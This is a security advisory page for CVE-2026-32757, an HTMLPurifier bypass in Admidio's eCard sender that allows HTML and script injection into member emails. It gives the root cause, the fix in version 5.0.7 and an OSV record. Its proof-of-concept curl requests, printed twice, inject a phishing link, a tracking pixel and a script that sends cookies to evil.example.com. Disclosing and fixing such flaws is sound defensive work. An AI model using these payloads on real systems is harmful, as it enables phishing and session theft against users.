CVE-2026-32757: Admidio/admidio Admidio Has An HTMLPurifier Bypass Vulnerability

MODERATE
Advisory Identifier: GHSA-4wr4-f2qf-x5wj
CVSS 5.4
CWE-79
Published
Advisory Summary

CVE-2026-32757 is a MODERATE (CVSS 5.4) admidio has an htmlpurifier bypass vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Admidio/admidio libraries in the Packagist ecosystem. The issue involves admidio has an htmlpurifier bypass in ecard message allows html email injection. Remediation is available by upgrading affected packages to version 5.0.7.

CVE-2026-32757 at a Glance

CVE Identifier CVE-2026-32757
GHSA Identifier GHSA-4wr4-f2qf-x5wj
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Admidio/admidio
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-32757

To remediate this vulnerability, upgrade all affected Admidio/admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

admidio/admidio fixed: 5.0.7
Upgrade admidio/admidio to 5.0.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for admidio/admidio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-32757, inspect your project dependencies for Admidio/admidio:

inspect dependencies for admidio/admidio

Analyze the terminal output to locate any version of Admidio/admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.7), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Admidio/admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The eCard send handler in Admidio uses the raw `$_POST['ecard_message']` value instead of the HTMLPurifier-sanitized `$formValues['ecard_message']` when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the `ecard_message` field during form validation. ## Details ### Root Cause File: `D:\bugcrowd\admidio\repo\modules\photos\ecard_send.php` At line 38, the raw POST value is captured BEFORE form validation runs: ```php $postMessage = $_POST['ecard_message']; // Line 38: RAW value ``` At line 61, the form validation runs and properly sanitizes the message through HTMLPurifier (since ecard_message is registered as an editor field): ```php $formValues = $photosEcardSendForm->validate($_POST); // Line 61: sanitized ``` The sanitized value is stored in `$formValues['ecard_message']`, but this value is never used. Instead, the raw `$postMessage` is passed to `parseEcardTemplate()` at lines 159 and 201: ```php $ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...); // Line 159 $ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...); // Line 201 ``` ### Template Injection File: `D:\bugcrowd\admidio\repo\src\Photos\ValueObject\ECard.php`, line 144 The `parseEcardTemplate()` method places the message directly into the HTML template without any encoding: ```php $pregRepArray['/<%ecard_message%>/'] = $ecardMessage; // Line 144: no encoding ``` Compare this to the recipient fields which ARE properly encoded: ```php $pregRepArray['/<%ecard_reciepient_email%>/'] = SecurityUtils::encodeHTML($recipientEmail); // Line 135 $pregRepArray['/<%ecard_reciepient_name%>/'] = SecurityUtils::encodeHTML($recipientName); // Line 136 ``` ### Inconsistency with Preview File: `D:\bugcrowd\admidio\repo\modules\photos\ecard_preview.php`, line 56 The preview correctly uses the sanitized value: ```php $smarty->assign('ecardContent', $funcClass->parseEcardTemplate($imageUrl, $formValues['ecard_message'], ...)); ``` This means the preview shows the sanitized version, but the actual sent email contains the unsanitized content. ### Delivery Mechanism The unsanitized HTML is delivered via two channels: 1. **HTML Email** (primary vector): At line 218 of `ECard.php`, the parsed template is set as the email body via `$email->setText($ecardHtmlData)` followed by `$email->setHtmlMail()`. The malicious HTML is rendered by the recipient's email client. 2. **Database Storage**: At line 214 of `ecard_send.php`, `$message->addContent($ecardHtmlData)` stores the raw HTML in the messages table. However, `MessageContent::getValue()` applies `SecurityUtils::encodeHTML()` on output, mitigating the stored XSS in the web interface. ## PoC **Prerequisites:** Logged-in user with access to the photo module and eCard feature enabled. **Step 1: Send an eCard with injected HTML** ``` curl -X POST "https://TARGET/adm_program/modules/photos/ecard_send.php" \ -H "Cookie: ADMIDIO_SESSION_ID=<session>" \ -d "adm_csrf_token=<csrf_token>" \ -d "ecard_template=<valid_template.tpl>" \ -d "photo_uuid=<valid_photo_uuid>" \ -d "photo_nr=1" \ -d "ecard_message=<h1>Important Security Update</h1><p>Your account has been compromised. Please <a href='https://evil.example.com/phishing'>verify your identity here</a>.</p><img src='https://evil.example.com/tracking.gif'>" \ -d "ecard_recipients[]=<target_user_uuid>" ``` The HTMLPurifier validation runs but its result is discarded. The raw HTML including the phishing link and tracking pixel is sent in the greeting card email. **Step 2: Escalated payload with script injection** ``` curl -X POST "https://TARGET/adm_program/modules/photos/ecard_send.php" \ -H "Cookie: ADMIDIO_SESSION_ID=<session>" \ -d "adm_csrf_token=<csrf_token>" \ -d "ecard_template=<valid_template.tpl>" \ -d "photo_uuid=<valid_photo_uuid>" \ -d "photo_nr=1" \ -d "ecard_message=<script>document.location='https://evil.example.com/steal?cookie='+document.cookie</script>" \ -d "ecard_recipients[]=<target_user_uuid>" ``` Most modern email clients block script execution, but older clients or webmail interfaces with relaxed CSP may execute it. ## Impact - **Phishing via Trusted Sender:** The attacker sends crafted greeting cards that appear to come from the organization's system. The email sender address is the attacker's real address from their Admidio profile, but the email template and branding make it appear legitimate. - **HTML Email Injection:** Arbitrary HTML content including fake forms, misleading links, and tracking pixels can be injected into emails sent to any member or role. - **Scope Change:** The vulnerability crosses a security boundary -- the attack originates from the Admidio web application but impacts email recipients who may view the content outside of Admidio. - **Bypasses Defense-in-Depth:** The HTMLPurifier sanitization is applied but its result is discarded, defeating the intended security control. ## Recommended Fix In `ecard_send.php`, use the sanitized `$formValues['ecard_message']` instead of the raw `$_POST['ecard_message']`: ```php // Line 38: Remove this line // $postMessage = $_POST['ecard_message']; // After line 61 (form validation), use the sanitized value: $formValues = $photosEcardSendForm->validate($_POST); $postMessage = $formValues['ecard_message']; ``` Additionally, in `ECard::parseEcardTemplate()`, apply encoding to the message placeholder as defense-in-depth, or at minimum document that the message is expected to contain trusted HTML: ```php // The message has already been sanitized by HTMLPurifier, // so it can safely contain allowed HTML tags $pregRepArray['/<%ecard_message%>/'] = $ecardMessage; ```

CVE-2026-32757 Affected Admidio/admidio Versions

1 component(s)
Fixed Versions:
5.0.7
Product / Package Ecosystem Affected Versions Fixed Version
admidio/admidio
Packagist
< 5.0.7
5.0.7

References

Frequently Asked Questions

What is CVE-2026-32757?
CVE-2026-32757 is a security vulnerability in Admidio/admidio involving Admidio has an HTMLPurifier Bypass in eCard Message Allows HTML Email Injection under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Admidio/admidio versions are affected?
Affected versions include releases prior to 5.0.7 across affected packages: admidio/admidio.
What version fixes CVE-2026-32757?
Upgrading to 5.0.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is admidio/admidio affected?
Yes, admidio/admidio is affected in releases prior to 5.0.7. Upgrade your dependency to 5.0.7 or later.
What is the CVSS score of CVE-2026-32757?
CVE-2026-32757 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-32757?
CVE-2026-32757 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-32757?
Run the dependency tree command: 'inspect dependencies for admidio/admidio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4wr4-f2qf-x5wj",
  "modified" : "2026-03-20T21:15:47Z",
  "published" : "2026-03-16T21:18:39Z",
  "aliases" : [ "CVE-2026-32757" ],
  "summary" : "Admidio has an HTMLPurifier Bypass in eCard Message Allows HTML Email Injection",
  "details" : "## Summary\n\nThe eCard send handler in Admidio uses the raw `$_POST['ecard_message']` value instead of the HTMLPurifier-sanitized `$formValues['ecard_message']` when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the `ecard_message` field during form validation.\n\n## Details\n\n### Root Cause\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\photos\\ecard_send.php`\n\nAt line 38, the raw POST value is captured BEFORE form validation runs:\n\n```php\n$postMessage = $_POST['ecard_message'];  // Line 38: RAW value\n```\n\nAt line 61, the form validation runs and properly sanitizes the message through HTMLPurifier (since ecard_message is registered as an editor field):\n\n```php\n$formValues = $photosEcardSendForm->validate($_POST);  // Line 61: sanitized\n```\n\nThe sanitized value is stored in `$formValues['ecard_message']`, but this value is never used. Instead, the raw `$postMessage` is passed to `parseEcardTemplate()` at lines 159 and 201:\n\n```php\n$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...);  // Line 159\n$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...);  // Line 201\n```\n\n### Template Injection\n\nFile: `D:\\bugcrowd\\admidio\\repo\\src\\Photos\\ValueObject\\ECard.php`, line 144\n\nThe `parseEcardTemplate()` method places the message directly into the HTML template without any encoding:\n\n```php\n$pregRepArray['/<%ecard_message%>/'] = $ecardMessage;  // Line 144: no encoding\n```\n\nCompare this to the recipient fields which ARE properly encoded:\n\n```php\n$pregRepArray['/<%ecard_reciepient_email%>/'] = SecurityUtils::encodeHTML($recipientEmail);  // Line 135\n$pregRepArray['/<%ecard_reciepient_name%>/']  = SecurityUtils::encodeHTML($recipientName);   // Line 136\n```\n\n### Inconsistency with Preview\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\photos\\ecard_preview.php`, line 56\n\nThe preview correctly uses the sanitized value:\n\n```php\n$smarty->assign('ecardContent', $funcClass->parseEcardTemplate($imageUrl, $formValues['ecard_message'], ...));\n```\n\nThis means the preview shows the sanitized version, but the actual sent email contains the unsanitized content.\n\n### Delivery Mechanism\n\nThe unsanitized HTML is delivered via two channels:\n\n1. **HTML Email** (primary vector): At line 218 of `ECard.php`, the parsed template is set as the email body via `$email->setText($ecardHtmlData)` followed by `$email->setHtmlMail()`. The malicious HTML is rendered by the recipient's email client.\n\n2. **Database Storage**: At line 214 of `ecard_send.php`, `$message->addContent($ecardHtmlData)` stores the raw HTML in the messages table. However, `MessageContent::getValue()` applies `SecurityUtils::encodeHTML()` on output, mitigating the stored XSS in the web interface.\n\n## PoC\n\n**Prerequisites:** Logged-in user with access to the photo module and eCard feature enabled.\n\n**Step 1: Send an eCard with injected HTML**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/photos/ecard_send.php\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=<session>\" \\\n  -d \"adm_csrf_token=<csrf_token>\" \\\n  -d \"ecard_template=<valid_template.tpl>\" \\\n  -d \"photo_uuid=<valid_photo_uuid>\" \\\n  -d \"photo_nr=1\" \\\n  -d \"ecard_message=<h1>Important Security Update</h1><p>Your account has been compromised. Please <a href='https://evil.example.com/phishing'>verify your identity here</a>.</p><img src='https://evil.example.com/tracking.gif'>\" \\\n  -d \"ecard_recipients[]=<target_user_uuid>\"\n```\n\nThe HTMLPurifier validation runs but its result is discarded. The raw HTML including the phishing link and tracking pixel is sent in the greeting card email.\n\n**Step 2: Escalated payload with script injection**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/photos/ecard_send.php\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=<session>\" \\\n  -d \"adm_csrf_token=<csrf_token>\" \\\n  -d \"ecard_template=<valid_template.tpl>\" \\\n  -d \"photo_uuid=<valid_photo_uuid>\" \\\n  -d \"photo_nr=1\" \\\n  -d \"ecard_message=<script>document.location='https://evil.example.com/steal?cookie='+document.cookie</script>\" \\\n  -d \"ecard_recipients[]=<target_user_uuid>\"\n```\n\nMost modern email clients block script execution, but older clients or webmail interfaces with relaxed CSP may execute it.\n\n## Impact\n\n- **Phishing via Trusted Sender:** The attacker sends crafted greeting cards that appear to come from the organization's system. The email sender address is the attacker's real address from their Admidio profile, but the email template and branding make it appear legitimate.\n- **HTML Email Injection:** Arbitrary HTML content including fake forms, misleading links, and tracking pixels can be injected into emails sent to any member or role.\n- **Scope Change:** The vulnerability crosses a security boundary -- the attack originates from the Admidio web application but impacts email recipients who may view the content outside of Admidio.\n- **Bypasses Defense-in-Depth:** The HTMLPurifier sanitization is applied but its result is discarded, defeating the intended security control.\n\n## Recommended Fix\n\nIn `ecard_send.php`, use the sanitized `$formValues['ecard_message']` instead of the raw `$_POST['ecard_message']`:\n\n```php\n// Line 38: Remove this line\n// $postMessage = $_POST['ecard_message'];\n\n// After line 61 (form validation), use the sanitized value:\n$formValues = $photosEcardSendForm->validate($_POST);\n$postMessage = $formValues['ecard_message'];\n```\n\nAdditionally, in `ECard::parseEcardTemplate()`, apply encoding to the message placeholder as defense-in-depth, or at minimum document that the message is expected to contain trusted HTML:\n\n```php\n// The message has already been sanitized by HTMLPurifier,\n// so it can safely contain allowed HTML tags\n$pregRepArray['/<%ecard_message%>/'] = $ecardMessage;\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "admidio/admidio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.0.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.0.6"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-4wr4-f2qf-x5wj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32757"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Admidio/admidio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/releases/tag/v5.0.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-16T21:18:39Z",
    "nvd_published_at" : "2026-03-20T00:16:16Z"
  }
}